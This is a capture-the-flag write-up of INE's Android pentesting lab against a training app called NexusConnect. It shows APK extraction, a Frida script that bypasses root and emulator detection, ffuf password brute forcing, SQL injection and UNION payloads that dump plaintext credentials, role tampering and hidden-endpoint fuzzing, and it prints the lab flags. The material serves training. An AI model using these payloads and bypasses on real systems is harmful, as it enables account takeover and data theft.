INE’s Android Pentesting CTF · Medium · 14 days Challenge
Press enter or click to view image in full size
A Note Before the Technical Walkthrough
There was a moment during this CTF where quitting felt like the most sensible option.
I was preparing seriously for Droid-Warden to learn Android pentesting properly when an unexpected on-site client engagement hit travel, pressure, long hours, no pause button. For a moment, stepping away felt logical.
Instead, I kept going.
Between client work and barely any sleep, I pushed through the challenges. One late night turned into 24 hours awake, and eventually, all five flags fell. When the completion screen appeared, the feeling wasn’t celebration it was quiet validation.
Being the first to finish wasn’t about speed or rank.
It was proof that effort still counts, even when life gets heavy.That’s the story behind this write-up.
Press enter or click to view image in full size
From Android APK to Full Admin Takeover : Reverse Engineering & API Exploitation
This write-up demonstrates how reversing an Android application and analyzing its API logic can lead to complete backend compromise, without exploiting the OS or using heavy automated tools.
The entire attack chain relies on:
- Static APK analysis
- Dynamic instrumentation
- API abuse
- SQL Injection
- Broken authorization & business logic flaws
Lab Setup Overview
- Target: Android application
NexusConnect - Environment: Provided Android emulator and lab by INE
- Goal: Extract flags and escalate to administrator access
Tools Used:
adbjadxfridaffufcurl
Starting the Emulator & Verifying ADB Access
Step 1: Move to lab directory and start emulator
cd ~/Desktop./startemulator.sh # start the provided emulatorWhy this is required
- The lab provides a preconfigured emulator
- The target APK is already installed
- The script sets correct emulator parameters
Step 2: Verify emulator connection
adb devicesExpected Output:
List of devices attached
emulator-5554 deviceConfirms:
- Emulator is running
- ADB can communicate with it
- All further
adb shell,adb pull, etc. will work
Identifying installed package and Extracting the APK
Step 3: Find installed packages
adb shell pm list packages | grep -i nexusExpected Output
package:com.litesh.nexusconnectWhy: pm list packages enumerates installed packages on the Android instance. Piping to grep -i nexus filters the list for package names containing nexus (case-insensitive). This is how you find the package namespace for the app you’re testing ( com.litesh.nexusconnect in the lab).
Step 4: Locate APK path
adb shell pm path com.litesh.nexusconnectExpected Output
package:/data/app/com.litesh.nexusconnect-_bAavAksk4n72uFHIVpCtA==/base.apkWhy: once you know the package name, pm path <package> returns the path on the device where the APK is stored (for example /data/app/com.litesh.nexusconnect-…/base.apk). This tells you exactly where to pull the APK from.
Step 5: Pull APK from emulator
adb pull /data/app/com.litesh.nexusconnect-_bAavAksk4n72uFHIVpCtA==/base.apkWhy: copies the
base.apkfrom the emulator/device to your host machine. Need the APK locally to perform static analysis (decompilation, searching for flags, reading code, etc).adb pullis the standard way to extract files from an Android filesystem. The path must match whatpm pathreturned; you used the concrete path from the device.
What to look for: adb pull writes base.apk into your current working directory and reports bytes transferred. If it fails, your device might not be rooted or adb lacks permission for that path, but lab emulators usually allow this.
Static Analysis Using JADX
Press enter or click to view image in full size
Step 6: Decompile the APK
mkdir -p ~/nexus_jadxjadx -d ~/nexus_jadx base.apkWhy:
jadxis an APK decompiler that produces Dalvik bytecode into readable Java/Kotlin source-like files.-dsets the output directory. The decompiled source gives you access to activity classes, hard-coded strings, and logic (likeLoginActivity) to find vulnerabilities.
Lets us inspect:
- Activities
- API endpoints
- Hardcoded secrets
Step 7: Search for hardcoded hashes (MD5-like flags)
grep -RInE "[a-f0-9]{32}" ~/nexus_jadx || trueWhy: recursive grep (
R), case-insensitive (i), line numbers (n), using an extended regex (E) to search for any 32-character hex string (typical MD5). This finds hard-coded MD5-like flags or tokens.|| trueprevents the shell from treating "no matches" (grep exit code 1) as an error and stopping scripts.
FLAG-1 Identified via Static Analysis
What the result shows: FLAG-1 inside LoginActivity.java. That confirms a static flag embedded in the app binary.
Expected Output
/home/student/nexus_jadx/sources/com/litesh/nexusconnect/LoginActivity.java:30:
private final String FLAG1 = "5bc74db0e10d085b04d9ae79cfbe0965";FLAG-1 : 5bc74db0e10d085b04d9ae79cfbe0965Dynamic Analysis with Frida
- The app contains emulator & root detection, which blocks certain behaviors.
- Need to bypass them dynamically.
Step 8: Push Frida server to emulator
adb push ~/Desktop/Tools/frida-server/frida-server-16.2.1-android-x86 /data/local/tmp/frida-serverWhy: Copy the frida-server binary to the device. Frida allows to instrument and modify runtime behavior of Android apps (hook methods, bypass checks, inspect memory). The
frida-serverruns on the device and listens forfridaclient connections over ADB.
adb shell "chmod 755 /data/local/tmp/frida-server"Why: Make the binary executable. Permissions
755are typical for an executable binary.
adb rootWhy: Attempts to run adbd as root. On emulators / lab images adbd often supports
adb root, which is necessary to write to protected paths or run privileged binaries. Many frida workflows require a rooted emulator or starting frida-server on a location accessible only to root.
adb remountWhy: Attempt to remount the device filesystem read / write (so to replace files or create executables in some system paths). In practice used after
adb rooton emulators.
Step 9: Start Frida server in background
adb shell "nohup /data/local/tmp/frida-server >/dev/null 2>&1 &"Why: Start
frida-serverin background on the device.nohupprevents it from dying when the shell closes;>/dev/null 2>&1 &redirects stdout / stderr to/dev/nulland backgrounds it. After this, the hostfridaclient can attach to processes on the device.
Step 10: Launch the app
adb shell monkey -p com.litesh.nexusconnect 1Why:
monkeyis a tool to launch an app via package name;-p <pkg>restricts to that package;1is the number of pseudo-random events (here just launching the app). This starts the target app on the emulator sofridacan attach.
frida-ps -U | grep NexusConnectWhy:
frida-ps -Ulists running processes on the device connected via USB / ADB. Piping togrepfilters for the NexusConnect process to identify its PID or process name, confirming it’s running and available for Frida attach.Expected Output
5697 NexusConnectStep 12: Create Frida bypass script
nano bypass.jsJava.perform(() => {
const LoginActivity = Java.use("com.litesh.nexusconnect.LoginActivity"); LoginActivity.isEmulator.implementation = function () {
console.log("[+] Emulator check bypassed");
return false;
};
LoginActivity.isDeviceRooted.implementation = function () {
console.log("[+] Root check bypassed");
return false;
};
});
Save with CTRL+S, CTRL+X
Step 13: Attach Frida
frida -U -p 5697 -l bypass.jsWhy these hooks: many apps detect emulator environments or root and either disable features or exit. By overriding
isEmulator()andisDeviceRooted()implementations to returnfalse, bypass such checks at runtime so the app behaves as if it’s on a genuine non-rooted device, allowing to use instrumentation and interact with the app normally.Java.use()obtains the Java class andimplementation = function(){...}replaces the original method at runtime.
frida -U -p 5697 -l bypass.jsWhy: Start a Frida client session attaching to process
5697on the device (Ufor USB / ADB) and load (l) thebypass.jsscript. After attachment Frida will patch the methods in memory so the checks are bypassed. See theconsole.logmessages printed in the frida client when the hooked methods are called.
Note: hooking methods requires the correct class / method names as seen in the decompiled code. It is used in LoginActivity which we saw in the JADX output.
API Password Brute Force Using ffuf
Take a new terminal
cd Desktop/Tools/ # Navigate to the ~/Desktop/ToolsMake ffuf executable
Why: Change the directory where
ffufbinary lives and make it executable.ffufis a fast web fuzzer also the web brute force tool written in Go; it needs execute permission.
chmod +x ffufStep 14: Run ffuf against login API
Note: INE provided the passwords.txt wordlist make use of it.
./ffuf -w passwords.txt:PASS \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"daniel","password":"PASS"}' \
-u http://nexusconnect.ine.local/api/v1/nexusconnect/login \
-mc 200Why
- App uses JSON-based API login
- No rate limiting
- ffuf efficiently brute forces credentials
Expected Output
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/ v2.1.0
________________________________________________
:: Method : POST
:: URL : http://nexusconnect.ine.local/api/v1/nexusconnect/login
:: Wordlist : PASS: /home/student/Desktop/Tools/passwords.txt
:: Header : Content-Type: application/json
:: Data : {"username":"daniel","password":"PASS"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
passw0rd [Status: 200, Size: 240, Words: 2, Lines: 2, Duration: 34ms]
:: Progress: [1000/1000] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] ::
Found Valid credentials for daniel
passw0rdFLAG-2 Identified after login with Valid credentials
FLAG-2 : c2c95b84b7249796650c6ea78dca4ce7Manual Login & Token Extraction
curl -X POST \
-H "Content-Type: application/json" \
-d '{"username":"daniel","password":"passw0rd"}' \
http://nexusconnect.ine.local/api/v1/nexusconnect/loginWhy this command?
- The mobile app uses an API-based login, not a browser session.
POSTis required because credentials are sent in the request body, not the URL.Content-Type: application/jsonmatches how the backend expects data.- This mimics exactly what the Android app does → no Burp needed.
Result
- Server returns a JWT token
- This token proves authentication and is required for all protected endpoints.
{
"token": "eyJhbGciOi..."
}Exporting the token as an environment variable
- Copy the
"token"from the response. - Then export token
export token=eyJhbGciOi...Why this is done
- Avoids pasting the token repeatedly
- Makes commands cleaner and less error-prone
- Allows reuse like
$tokenin multiple requests
This mirrors how apps store tokens in memory/session.
Finding the Vulnerable Endpoint (Client-Side RE)
Step 15: Inspect API logic in decompiled code
sed -n '1,200p' ~/nexus_jadx/sources/com/litesh/nexusconnect/SearchEmployeeActivity.javaWhy this command?
sed -n '1,200p'prints only the first 200 lines → faster inspection- This file contains network logic used by the app
- We are reverse-engineering client-side behavior
Found Key vunerable code
public static final void onCreate$lambda$8$lambda$7(String sanitizedQuery, String token, final SearchEmployeeActivity this$0) {
Intrinsics.checkNotNullParameter(sanitizedQuery, "$sanitizedQuery");
Intrinsics.checkNotNullParameter(token, "$token");
Intrinsics.checkNotNullParameter(this$0, "this$0");
try {
URL url = new URL("http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=" + sanitizedQuery);
URLConnection openConnection = url.openConnection();
Intrinsics.checkNotNull(openConnection, "null cannot be cast to non-null type java.net.HttpURLConnection");
HttpURLConnection conn = (HttpURLConnection) openConnection;
conn.setRequestMethod("GET");
conn.setRequestProperty("Authorization", "Bearer " + token);
String response = TextStreamsKt.readText(new BufferedReader(new InputStreamReader(conn.getInputStream())));
final JSONArray jsonArray = new JSONArray(response);
this$0.runOnUiThread(new Runnable() { // from class: com.litesh.nexusconnect.SearchEmployeeActivity$$ExternalSyntheticLambda0
@Override // java.lang.Runnable
public final void run() {
SearchEmployeeActivity.onCreate$lambda$8$lambda$7$lambda$5(SearchEmployeeActivity.this, jsonArray);
}
});
} catch (Exception e) {
this$0.runOnUiThread(new Runnable() { // from class: com.litesh.nexusconnect.SearchEmployeeActivity$$ExternalSyntheticLambda1
@Override // java.lang.Runnable
public final void run() {
SearchEmployeeActivity.onCreate$lambda$8$lambda$7$lambda$6(SearchEmployeeActivity.this);
}
});
}
}This is the SQL Injection Endpoint:
URL url = new URL(
"http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name="
+ sanitizedQuery
);❌ Direct string concatenation
❌ No server-side sanitization
❌ Token only checked in header
Get The.Flying.Wolf’s stories in your inbox
Join Medium for free to get updates from this writer.
This confirms client-assisted vulnerability discovery
Exploiting SQL Injection
Reproducing a normal request (baseline test)
Baseline request
curl -H "Authorization: Bearer $token" \
"http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=a"Why this matters
Confirms:
- Token works
- Endpoint is reachable
- Response format is JSON
- Establishes expected behavior before exploitation
This is important for controlled testing, not blind injection.
SQL Injection test payload
curl -H "Authorization: Bearer $token" \
"http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=%27%20OR%20%271%27%3D%271"Why this payload?
Decoded version:
' OR '1'='1'→ closes original SQL stringOR '1'='1'→ always true%27,%20,%3D→ URL encoding to avoid parsing errors
What the output proves
- Entire employee table returned
Confirms :
- SQL injection
- No prepared statements
- No server-side validation
Expected Output :
student@a93b14167e48ece32c8470:~/Desktop/Tools$ curl -H "Authorization: Bearer $token" \
"http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=%27%20OR%20%271%27%3D%271"
[
{
"department": "IT",
"designation": "Junior Developer",
"id": 1,
"name": "Alice Johnson"
},
{
"department": "Finance",
"designation": "Accounts Assistant",
"id": 2,
"name": "Bob Smith"
},
{
"department": "HR",
"designation": "HR Coordinator",
"id": 3,
"name": "Carla Gomez"
},
{
"department": "IT",
"designation": "Security Analyst",
"id": 4,
"name": "Daniel Kim"
},
{
"department": "Logistics",
"designation": "Warehouse Supervisor",
"id": 5,
"name": "Eva Singh"
},
{
"department": "Marketing",
"designation": "Digital Strategist",
"id": 6,
"name": "Fahad Ali"
},
{
"department": "Customer Support",
"designation": "Escalation Specialist",
"id": 7,
"name": "Grace Lee"
},
{
"department": "Research",
"designation": "Lab Technician",
"id": 8,
"name": "Hassan Abbas"
},
{
"department": "HR",
"designation": "Senior HR Associate",
"flag": "FLAG3_b26667649bd7a781d70988f59debc559",
"id": 9,
"name": "Irene Thomas"
},
{
"department": "Operations",
"designation": "Shift Manager",
"id": 10,
"name": "James Parker"
},
{
"department": "Executive",
"designation": "System Administrator",
"id": 11,
"name": "John Nova"
}
]Flag-3: b26667649bd7a781d70988f59debc559UNION-Based Enumeration (SQLite)
Column count confirmation
curl -H "Authorization: Bearer $token" \
'http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=1%27 UNION SELECT name,sql,3,4,5 FROM sqlite_master--'Why this step is critical
- UNION attacks must match column count
Why
sqlite_master?
- SQLite stores schema info in
sqlite_master
Lets us discover:
- Table names
- Column structure
- No permissions required
Also tells us:
- Query expects 5 columns
Response maps them like this:
SQLite usually has tables like:
employeesusersadminflagscredentials
This replaces tools like sqlmap manually.
Dumping users / admin credentials table
Once table name known, dump usernames/passwords:
UNION SELECT id, username, password, role, 5 FROM users--Why this works
- Columns align with expected 5-column response
usernamemaps tonamepasswordappears underdepartment- Raw passwords stored → no hashing
This is direct credential disclosure
Dump info
curl -H "Authorization: Bearer $token" \
'http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=1%27%20UNION%20SELECT%201,name,sql,4,5%20FROM%20sqlite_master--'FLAG-4 from table
FLAG-4 : 9f06774e1677dd539ec444f63050f4b5Dump users table
curl -H "Authorization: Bearer $token" \
'http://nexusconnect.ine.local/api/v1/nexusconnect/search-employee?name=1%27%20UNION%20SELECT%20id,username,password,4,5%20FROM%20users--'Expected Output :
[
{
"department": "pa@@ss6752@@@@@@",
"designation": 4,
"id": 1,
"name": "alice"
},
{
"department": "pass1@@2434fghfvh@",
"designation": 4,
"id": 2,
"name": "bob"
},
{
"department": "pas@@s89y96@@ubj",
"designation": 4,
"id": 3,
"name": "carla"
},
{
"department": "passw0rd",
"designation": 4,
"id": 4,
"name": "daniel"
},
{
"department": "pass@@676653fdf@@",
"designation": 4,
"id": 5,
"name": "eva"
},
{
"department": "pa@@ss4587ghvgh@@",
"designation": 4,
"id": 6,
"name": "fahad"
},
{
"department": "p@@ass09034cty@@df",
"designation": 4,
"id": 7,
"name": "grace"
},
{
"department": "p@@ass789745dfgc@@",
"designation": 4,
"id": 8,
"name": "hassan"
},
{
"department": "pa@@ss79834rdf@@gj",
"designation": 4,
"flag": 5,
"id": 9,
"name": "irenee"
},
{
"department": "pas@@sghvh565631@df",
"designation": 4,
"id": 10,
"name": "james"
},
{
"department": "adm@@inpassgvhg@65@dfs34",
"designation": 4,
"id": 11,
"name": "john"
}
]Administrator Takeover
Login as admin (john):
curl -X POST \
-H "Content-Type: application/json" \
-d '{"username":"john","password":"adm@@inpassgvhg@65@dfs34"}' \
http://nexusconnect.ine.local/api/v1/nexusconnect/loginWhy redo login?
Admin has:
- Higher privileges
- Access to hidden APIs
- JWT tokens are role-based
- User token ≠ admin token
This is horizontal → vertical privilege escalation
Expected Output :
student@a93b141efbbacfb14e29c39bd9b69f574ca367e48ece32c8470:~/Desktop/Too
-H "Content-Type: application/json" \
-d '{"username":"john","password":"adm@@inpassgvhg@65@dfs34"}' \
http://nexusconnect.ine.local/api/v1/nexusconnect/login
{"message":"Login successful","role":"administrator","token":"eyJhbGciOiJeHAiOjE3NjQ4ODIwNjEsImlhdCI6MTc2NDg3ODQ2MX0.xeKhEhKS2t-ECVcPckOVQ_2sarNDt
student@a93b141efbbacfb14e29c39bd9b69f574ca367e48ece32c8470:~/Desktop/Tools$ Export admin token :
export AUTH="Authorization: Bearer <admin_token>"Why separate variable?
- Avoids mixing user / admin tokens
- Cleaner for fuzzing and admin-only endpoints
- Reduces accidental mistakes
Access admin dashboard:
curl -X POST -H "$AUTH" \
-H "Content-Type: application/json" \
-d '{"user_id":"11","role":"administrator"}' \
http://nexusconnect.ine.local/api/v1/nexusconnect/dashboardWhy this works
- Backend trusts client-supplied role
- No server-side role verification
- Accepts arbitrary role escalation
This is a business logic flaw, not just SQLi.
Dashboard revealed secret endpoint:
"new_info_endpoint": "/api/v2/nexusconnect/<?>"Hidden API Discovery
./ffuf -w endpoints.txt:EP \
-u "http://nexusconnect.ine.local/api/v2/nexusconnect/EP" \
-H "$AUTH" -fs 0Why fuzzing is needed
- Admin response hints at hidden endpoint
- No documentation
- Versioned API (
v2) suggests new routes ffufbrute-forces endpoint names efficiently
Retrieve Final Flag (FLAG5)
curl -H "$AUTH" \
http://nexusconnect.ine.local/api/v2/nexusconnect/fetch_dataWhy this works
- Endpoint is admin-only
- JWT session identifies admin user
- Backend trusts token blindly
Final proof of full system compromise
Expected Output :
{
"about": "NexusConnect is the official employee portal designed to streamline access to internal resources, HR services, and essential corporate tools. From routine employee tasks to sensitive HR operations, NexusConnect ensures seamless communication across the organization.",
"flag": "FLAG5_07da7a5f5cdec7bbab5f598e8d26fbc7",
"message": "Welcome to NexusConnect NexusConnect Corporation!",
"user_id_from_session": 11
}FLAG-5 from the hidden endpoint
FLAG-5: 07da7a5f5cdec7bbab5f598e8d26fbc7What this chain demonstrates
Phase Security Failure Login Token-only auth API No input validation SQL String concatenation DB Plaintext passwords AuthZ Client-trusted roles Admin Hidden endpoints API v2 No access control
FINAL FLAG SUMMARY
Takeaway
This attack chain demonstrates how reverse engineering a mobile client, combined with API trust issues and SQL injection, leads to complete administrator takeover without exploiting the OS or using advanced tooling.